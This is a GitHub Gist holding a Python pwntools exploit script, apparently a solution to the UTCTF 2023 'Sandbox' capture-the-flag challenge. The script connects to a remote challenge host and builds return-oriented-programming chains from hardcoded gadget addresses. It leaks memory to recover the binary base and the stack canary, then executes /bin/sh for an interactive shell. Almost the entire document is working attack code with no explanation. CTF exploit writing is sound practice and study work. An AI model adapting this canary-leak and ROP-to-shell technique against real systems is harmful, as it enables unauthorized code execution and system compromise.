Created
March 13, 2023 05:07
-
-
Save X3eRo0/53b5c690d755dfcde62765f95748a216 to your computer and use it in GitHub Desktop.
UTCTF 2023 Sandbox Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# this exploit was generated via | |
# 1) pwntools | |
# 2) ctfmate | |
import os | |
import time | |
import pwn | |
BINARY = "./loader" | |
LIBC = "/usr/lib/x86_64-linux-gnu/libc.so.6" | |
LD = "/lib64/ld-linux-x86-64.so.2" | |
# Set up pwntools for the correct architecture | |
exe = pwn.context.binary = pwn.ELF(BINARY) | |
libc = pwn.ELF(LIBC) | |
ld = pwn.ELF(LD) | |
pwn.context.terminal = ["tmux", "splitw", "-h"] | |
pwn.context.delete_corefiles = True | |
pwn.context.rename_corefiles = False | |
p64 = pwn.p64 | |
u64 = pwn.u64 | |
p32 = pwn.p32 | |
u32 = pwn.u32 | |
p16 = pwn.p16 | |
u16 = pwn.u16 | |
p8 = pwn.p8 | |
u8 = pwn.u8 | |
host = pwn.args.HOST or "puffer.utctf.live" | |
port = int(pwn.args.PORT or 7132) | |
def local(argv=[], *a, **kw): | |
"""Execute the target binary locally""" | |
if pwn.args.GDB: | |
return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) | |
else: | |
return pwn.process([exe.path] + argv, *a, **kw) | |
def remote(argv=[], *a, **kw): | |
"""Connect to the process on the remote host""" | |
io = pwn.connect(host, port) | |
if pwn.args.GDB: | |
pwn.gdb.attach(io, gdbscript=gdbscript) | |
return io | |
def start(argv=[], *a, **kw): | |
"""Start the exploit against the target.""" | |
if pwn.args.LOCAL: | |
return local(argv, *a, **kw) | |
else: | |
return remote(argv, *a, **kw) | |
gdbscript = """ | |
# break *0x4000185 | |
# decompiler connect ida | |
# brva 0x355FD2 | |
# brva 0x355D45 | |
brva 0x35611b | |
continue | |
""".format( | |
**locals() | |
) | |
HELLO_POP_RDI = 0x00000000040013AF | |
HELLO_SYSCALL = 0x0000000004002A0E | |
HELLO_POP_RSI = 0x00000000040013AD # : pop rsi ; pop r15 ; ret | |
HELLO_POP_RDX = 0x00000000040023B3 # : pop rdx ; ret | |
HELLO_POP_RAX = 0x0000000000401001 # : pop rax ; ret | |
HELLO_BUFFER = 0x0000000004005260 | |
LOADER_POP_RDI = 0x0000000000cf6035 # : pop rdi ; ret | |
LOADER_POP_RSI = 0x000000000065f565 # : pop rsi ; ret | |
LOADER_POP_RDX = 0x0000000000caab64 # : pop rdx ; ret | |
LOADER_POP_RAX = 0x0000000000594295 # : pop rax ; ret | |
LOADER_POP_RCX = 0x000000000038976f # : pop rcx ; ret | |
LOADER_SYSCALL = 0x00000000003548C0 # : syscall ; ret | |
def do_syscall_hello(sys, arg1=0, arg2=0, arg3=0): | |
b = b"" | |
b += p64(HELLO_POP_RDI) | |
b += p64(arg1) | |
b += p64(HELLO_POP_RSI) | |
b += p64(arg2) | |
b += p64(0) | |
b += p64(HELLO_POP_RDX) | |
b += p64(arg3) | |
b += p64(HELLO_POP_RAX) | |
b += p64(sys) | |
b += p64(HELLO_SYSCALL) | |
return b | |
def do_syscall_loader(e, sys, arg1=0, arg2=0, arg3=0): | |
b = b"" | |
b += p64(e.address + LOADER_POP_RSI) | |
b += p64(arg1) | |
b += p64(e.address + LOADER_POP_RDX) | |
b += p64(arg2) | |
b += p64(e.address + LOADER_POP_RCX) | |
b += p64(arg3) | |
b += p64(e.address + LOADER_POP_RDI) | |
b += p64(sys) | |
b += p64(e.address + LOADER_SYSCALL) | |
return b | |
def print_ptrs(data): | |
for i in range(len(data)): | |
print("0x%x" % i, hex(data[i])) | |
def parse_ptrs(data): | |
leak = [] | |
for i in range(0, len(data), 8): | |
ptr = u64(data[i : i + 8]) | |
leak.append(ptr) | |
return leak | |
def exp(): | |
io = start(["./hello"]) | |
# =========================================================== | |
# EXPLOIT GOES HERE | |
# =========================================================== | |
LEAK_LEN = 0x600 | |
exploit = pwn.cyclic(pwn.cyclic_find(0x63616171)) | |
exploit += do_syscall_hello(0, 0xFFFF, HELLO_BUFFER, LEAK_LEN) | |
# leak the out of bound read | |
# write the iovec struct at BUFFER+0x400 | |
exploit += do_syscall_hello(0, 0, HELLO_BUFFER + LEAK_LEN, 0x10) | |
exploit += do_syscall_hello(20, 1, HELLO_BUFFER + LEAK_LEN, 1) | |
exploit += do_syscall_hello(0, 0, HELLO_BUFFER, 0x600) | |
exploit += do_syscall_hello(1, 0xffff, HELLO_BUFFER, 0x600) | |
io.sendlineafter(b"\n", exploit) | |
io.recvuntil(b"hello") | |
io.recvline() | |
# iovec struct | |
io.send(p64(HELLO_BUFFER) + p64(LEAK_LEN)) # iov_base + iov_len | |
leak = parse_ptrs(io.recv() + io.clean()) | |
# print_ptrs(leak) | |
exe.address = leak[0x11] - 0xA57504 | |
stack_cookie = leak[0xF] | |
exploit = pwn.cyclic(pwn.cyclic_find(0x6261616a)) | |
exploit += p64(stack_cookie) | |
exploit += pwn.cyclic(pwn.cyclic_find(0x6161616f)) | |
exploit += do_syscall_loader(exe, 0, 0, exe.bss(), 0x8) | |
exploit += do_syscall_loader(exe, 0x3b, exe.bss(), 0, 0) | |
io.clean() | |
io.sendline(exploit) | |
io.clean() | |
io.send(b"/bin/sh\x00") | |
io.recv() | |
io.interactive() | |
if __name__ == "__main__": | |
exp() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment